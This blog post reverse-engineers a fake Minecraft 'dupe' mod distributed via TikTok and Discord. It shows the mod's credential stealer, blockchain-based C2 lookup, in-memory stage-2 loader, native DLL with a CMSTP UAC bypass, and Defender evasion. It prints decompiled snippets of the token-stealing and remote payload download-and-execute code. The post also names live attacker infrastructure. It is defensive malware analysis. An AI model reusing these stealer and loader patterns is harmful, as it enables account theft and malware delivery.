Back to all blogs
#security
#minecraft
#malware
#reverse-engineering
February 23, 2026
12 min read
A blog post byThereallo

That Minecraft 'Dupe Mod' Is Not Just a Stealer

A TikTok "dupe client" that's actually a credential stealer: session token exfil, Ethereum smart-contract C2, in-memory stage-2 JAR, and a native DLL UAC-bypass backdoor.

I was scrolling TikTok and saw a video showing off a "duping method" on DonutSMP. The account linked to a Discord in their profile. Video below:

TikTok Video

0:00 / 0:00
The video is vague, showcases nothing, and is clearly just a lure to get people to join the Discord and download the JAR file.
The Discord had a pinned post with a download for "ChromiumClient", described as a Fabric mod that enables item duplication on the server.
I downloaded it but I did not run it, what is this? 2013?
Instead, I decompiled it with JADX and spent a bit of time reading what it actually does.
It's not a dupe client, but a credential stealer with a second-stage remote code execution backdoor that drops a native Windows DLL and bypasses UAC silently.
Here's a full breakdown.

The JAR presents itself as a normal Fabric mod. The fabric.mod.json looks completely legitimate:
json
{
  "id": "chromium",
  "version": "1.0.0",
  "name": "ChromiumClient",
  "description": "ChromiumClient-Hackclient for Donutsmp.",
  "entrypoints": {
    "main": ["com.example.ExampleMod"]
  }
}
The structure is clean. It has proper Fabric metadata, a valid manifest, even bundled Google Gson and Error Prone annotations to look like a real project. Nothing suspicious on the surface.
The actual payload is split across five files: ExampleMod, Helper, FabricAdapter, ExampleMixin, and Entrypoint.

The moment you load this mod, ExampleMod.onInitialize() runs. Before anything related to "duping" happens (spoiler: nothing duping-related ever happens), it does this:
java
class_320 ses = mc.method_1548();
// ...
mci.addProperty("name", ses.method_1676());
mci.addProperty("uuid", uuid.toString());
mci.addProperty("token", ses.method_1674());
The obfuscated method names are Minecraft's intermediary mappings. method_1548() is getSession(). method_1676() is getUsername(). method_1674() is getAccessToken().
The access token is the OAuth credential your game uses to authenticate with Microsoft's servers. It's essentially a short-lived password for your account.
All three values get packaged into a JSON payload and sent via HTTP POST to an attacker-controlled server, very generic behavior in a malicious Minecraft.

Every string in this mod is encoded. URLs, keys, field names, etc. The Helper.load() function decodes them at runtime:
java
public static String load(int[] d1, int[] d2, int k1, int k2) {
    // interleaves d1 and d2 into a single array
    // builds an S-box using (i * 53 + 97) % 256
    // XORs, rotates bits, and applies inverse substitution
    // returns the decoded string
    //
    // (thank you claude)
}
So instead of "https://attacker.com/collect" sitting plainly in the bytecode, you see:
java
Helper.load(new int[]{48, 172, 110, 3, 217, 94, 220, 121, 247, 189, 58, 15, 126, 192, 123, 218, 239, 212, 19, 238, 217},
            new int[]{122, 90, 99, 104, 40, 26, 43, 1, 168, 185, 242, 44, 141, 38, 89, 130, 173, 226, 38, 5, 83},
            187, 67)
This is deliberate. Running this through a static scanner finds nothing. You won't find suspicious URLs, hardcoded domains, no obvious red flags. It's designed to pass a quick static antivirus scan.
I reimplemented the cipher in Python and decoded every string in the binary.

There's a file bundled inside the JAR called fabric.api.json. It looks like a version config:
json
{"api_version": "b298e81e-a4c7-4203-a5e5-6ddbb4cb91ec"}
This is not an API version. It's a UUID the author uses to track you on their backend. It gets attached to your stolen credentials when they're sent to the server, so the attacker knows which victim is which.

FabricAdapter contains a hardcoded array of over 30 obfuscated URLs. After decoding them, they're all public Ethereum RPC nodes:
https://eth.llamarpc.com
https://eth.api.onfinality.io/public
https://rpc.eth.gateway.fm
https://ethereum-rpc.publicnode.com
https://eth.rpc.blxrbdn.com
// ... 27 more
These aren't attacker-controlled servers. They're free, public Ethereum RPC endpoints that anyone can query. The malware is using them to call a smart contract on the Ethereum blockchain.
The call looks like this:
json
{
  "jsonrpc": "2.0",
  "method": "eth_call",
  "params": [
    {
      "to": "0x1280a841Fbc1F883365d3C83122260E0b2995B74",
      "data": "0xce6d41de"
    },
    "latest"
  ],
  "id": 1
}
Contract address 0x1280a841Fbc1F883365d3C83122260E0b2995B74. Function selector 0xce6d41de. The contract returns a URL, ABI-encoded as a string, RSA-signed by the attacker's private key.
I called it myself. The decoded response:
https://whreceive.ru
That's the real C2 server. The blockchain is just the directory that points to it.
This is why 30 "servers" can't be taken down, there are no servers to take down to begin with.
Every one of those URLs is a public Ethereum node. Blocking them is like blocking Google DNS. The actual C2 address lives permanently on-chain, updateable only by whoever holds the contract's private key.
Responses are RSA-signed so only the attacker can serve valid payloads:
java
private boolean verify(String text, String sign) {
    byte[] keyBytes = Base64.getDecoder().decode(RSA_PUBLIC_KEY);
    PublicKey publicKey = KeyFactory.getInstance("RSA")
        .generatePublic(new X509EncodedKeySpec(keyBytes));
    Signature sig = Signature.getInstance("SHA256withRSA");
    sig.initVerify(publicKey);
    sig.update(text.getBytes());
    return sig.verify(Base64.getDecoder().decode(sign));
}

After stealing your session, it calls Helper.stageWithContext().
It hits the Ethereum contract to get the C2 URL, appends /files/jar/module, downloads a JAR, and executes it entirely in memory:
java
byte[] jBytes = dl(u);  // download stage-2 from https://whreceive.ru/files/jar/module
JarInputStream jarStream = new JarInputStream(new ByteArrayInputStream(jBytes));

while (true) {
    JarEntry entry = jarStream.getNextJarEntry();
    if (entry == null) break;
    classMap.put(className, data);
}

ExampleMixin loader = new ExampleMixin(classMap, resourceMap);
Class<?> mC = loader.loadClass("dev.majanito.Main");
Object instance = mC.getDeclaredConstructor().newInstance();

mC.getMethod("initializeWeedhack", String.class).invoke(instance, credentials);
The custom ClassLoader loads the downloaded JAR directly from memory. Nothing is written to disk. No file shows up in your filesystem. Antivirus sees nothing because there's nothing to scan.
Your stolen credentials get passed in as the argument to initializeWeedhack.

I downloaded stage-2 and decompiled it. It's 3.7MB.
The dev.majanito.Main class is almost entirely native methods:
java
public static native void initializeWeedhack(String str) throws Exception;
public static native void addDefenderExclusions();
public static native void main(String[] strArr) throws Exception;
None of the actual logic is in Java. The real code is a compiled Windows DLL, embedded inside the JAR as a .dat file. The JNICLoader class extracts it to a temp file at runtime and loads it:
java
JNICLoader jNICLoader = new JNICLoader(
    JNICLoader.class.getResourceAsStream("/dev/jnic/lib/b23d9abb-2c64-47d1-b561-7767e4cbd11a.dat")
);
// ... extract bytes based on platform offsets
System.load(fileCreateTempFile.getAbsolutePath());
Two DLLs are packed into one file: one for x64 (offset 0), one for ARM64 (offset 506880). It auto-selects based on your CPU.
This is a JNIC (Java Native Interface Compiler) technique specifically designed to hide from Java decompilers. JADX and similar tools can only show you the Java stubs. The real behavior lives in native binary that requires Ghidra or IDA to read.

UAC Bypass via CMSTP

The Elevator class gives away one of its techniques:
java
private static final String CMSTP_EXTENSION = ".xdmf";

public static native boolean elevate(String[] strArr);
public static native boolean isElevated();
private static native void runCMSTP();
private static native void simulatePressEnter(WinDef.HWND hwnd);
public static native void doSystem(String str);
CMSTP is a well-known UAC bypass. It abuses cmstp.exe (Microsoft Connection Manager Profile Installer, a legitimate signed Windows binary) to execute arbitrary commands with elevated privileges without triggering a UAC prompt. Your screen never dims, no dialog appears. It just gets elevated rights.

Windows Defender Exclusions

Once elevated, addDefenderExclusions() runs. The name is self-explanatory. It adds exclusions to Windows Defender so everything after this point runs undetected.

Stage-3 Ready

The second payload also contains IMCL, an in-memory classloader identical in structure to the one in stage-1. The RPCHelper class contains the same Ethereum RPC infrastructure, same function selector 0xce6d41de, same RSA key. It can pull and execute a third payload from the blockchain at any time without touching disk.

Java decompilers stop at the native keyword. To see what initializeWeedhack actually does, I loaded the x64 DLL into IDA Pro.

The String Encryption Layer

The DLL encrypts every string with ChaCha20. On load, JNI_OnLoad does this:
c
// Reads ByteBuffer z from JNICLoader (contains key material)
v4 = GetDirectBufferAddress(env, z_buffer);

// ChaCha20 state:
// [0-3]  = " jnic.dev v3.7.0"   (custom constant instead of "expand 32-byte k")
// [4-11] = hardcoded key in DLL data section
// [12]   = 0 (counter)
// [13-15]= nonce from ByteBuffer z

v6 = malloc(0x9772);          // 38,770 bytes
qword_18007E038 = v6;         // global keystream pointer

// ... 10-round ChaCha20 with ROL constants 16/12/8/7 ...
It generates 38KB of keystream stored globally. Every string in the binary is XOR'd against a slice of this keystream at a hardcoded offset. No string ever appears in plaintext.

Control Flow Flattening

The main payload function, sub_1800417A0, is roughly 1,800 lines of decompiled C. None of it executes linearly. Every branch goes through a switch statement whose discriminant comes from the keystream:
c
// Every case transition looks like:
v4 = *(_DWORD *)(qword_18007E038 + 14500) ^ 0x04D8154C;
// ...
switch (v4) {
    case 14LL: ...
    case 32LL: ...
    case 34LL: ...
    // 20+ cases, shuffled execution order
}
The XOR constants are unique per branch. The real control flow only exists at runtime, after the keystream is generated. Static analysis tools that don't simulate execution see a flat, unordered set of basic blocks with no recoverable structure.
I reimplemented the ChaCha20 decryption in Python using the key material from JNICLoader.java and the xmmword constants recovered from IDA's data segment annotations. Running it against every *(keystream + offset) ^ xor_constant reference in the decompiled output produced the full string table.

What the DLL Actually Does

The decrypted strings tells us a lot.
Process killing. The DLL calls the Windows process enumeration API:
CreateToolhelp32Snapshot (TH32CS_SNAPALL)
Process32First
Process32Next
OpenProcess
TerminateProcess
CloseHandle
It takes a snapshot of every running process, walks the list, and kills targets. The strings dwSize and th32ProcessID appear, these are fields in the PROCESSENTRY32 structure. This is used to kill security tools before they can detect what's coming next.
Telemetry exfiltration. The initTelemetry native method sends data via HTTP POST. The string table includes POST, header, uri, timeout, build, send... A full java.net.http.HttpClient workflow. Your Minecraft credentials (passed in as the initializeWeedhack argument) are sent to the C2 alongside whatever system data TelemetryHelper collects.
Dynamic path resolution. There are no hardcoded file paths in the binary. Instead it uses getenv and System.getProperty, which means it constructs paths like %LOCALAPPDATA%\... at runtime. The path strings never appear in the binary itself.
Window automation for UAC bypass. The CMSTP bypass uses FindWindow, PostMessage, ShowWindow, and SetWindowPos to locate the UAC prompt window opened by cmstp.exe and automatically send a keypress to confirm it, all without the screen dimming or a dialog appearing to the user.
Stage-3 classloader. The same getNextJarEntry / loadClass pattern from stage-1 is present in the DLL. It pulls a third JAR from the blockchain-resolved C2 URL and executes it in memory. I didn't analyze stage-3, retrieving the payload requires the DLL to actually execute, because the download request is made with victim-specific data: the stolen credentials and tracking UUID get sent as part of the request. Without running the malware on a live machine, there's no way to replicate that request and get the payload the C2 would serve.

The first JAR also has a main() method, meaning it can run outside of Minecraft. If you double-click it, Entrypoint runs.
The first thing it does is relaunch itself using javaw.exe:
java
String javawPath = javaHome + File.separator + "bin" + File.separator + "javaw.exe";
ProcessBuilder builder = new ProcessBuilder(javawPath, "-jar", jarPath, "--jw");
builder.start();
System.exit(0);
javaw.exe is the windowless Java launcher. The original window disappears. A hidden process starts. Then it phones home and runs the second-stage payload in the background.

  • No suspicious strings in bytecode. Stage-1 uses a custom XOR/S-box cipher. The DLL uses ChaCha20. Neither appears in any static scan.
  • No files written to disk (stage-1). The second payload loads entirely in memory.
  • The C2 is on the Ethereum blockchain. You can't block it by taking down servers or blacklisting IPs. The address lives on-chain permanently.
  • The actual malware is a native DLL. Java decompilers show you nothing useful. You need IDA or Ghidra to even read the binary, and then the real logic is hidden behind control flow flattening driven by the same ChaCha20 keystream used for string decryption.
  • It kills security processes before doing anything serious. CreateToolhelp32Snapshot + TerminateProcess runs before Defender exclusions are even added.
  • It disables Defender before doing anything serious. By the time it's doing the dangerous stuff, your antivirus isn't watching anyway.
  • Nothing in the mod looks malicious. It passes casual inspection as a real Fabric mod.

The author didn't build this for DonutSMP specifically.
The bait is generic: "dupe mod / cheat for [popular server]".
The actual malware infrastructure is sophisticated: blockchain-based C2, RSA-signed payloads, native DLL execution, UAC bypass, Defender evasion. Someone put real effort into this.
The distribution method is zero effort. Post a TikTok. Link a Discord. Pin a download. Done. The technical bar for getting someone to run a JAR file is basically nothing.
Before you install any Minecraft mod from a Discord link:
  • Check if the source code is public (HM. Meteor Client). If it's not open source, that's a red flag.
  • Run it through VirusTotal or any JVM scanner first.
  • Ask yourself why a dupe exploit needs to be a client mod instead of just explained in a video.
If someone is handing out free advantages in a game, they're probably getting something in return. Especially if they are doing "invite rewards" on Discord.
In this case, your Microsoft account and full access to your machine.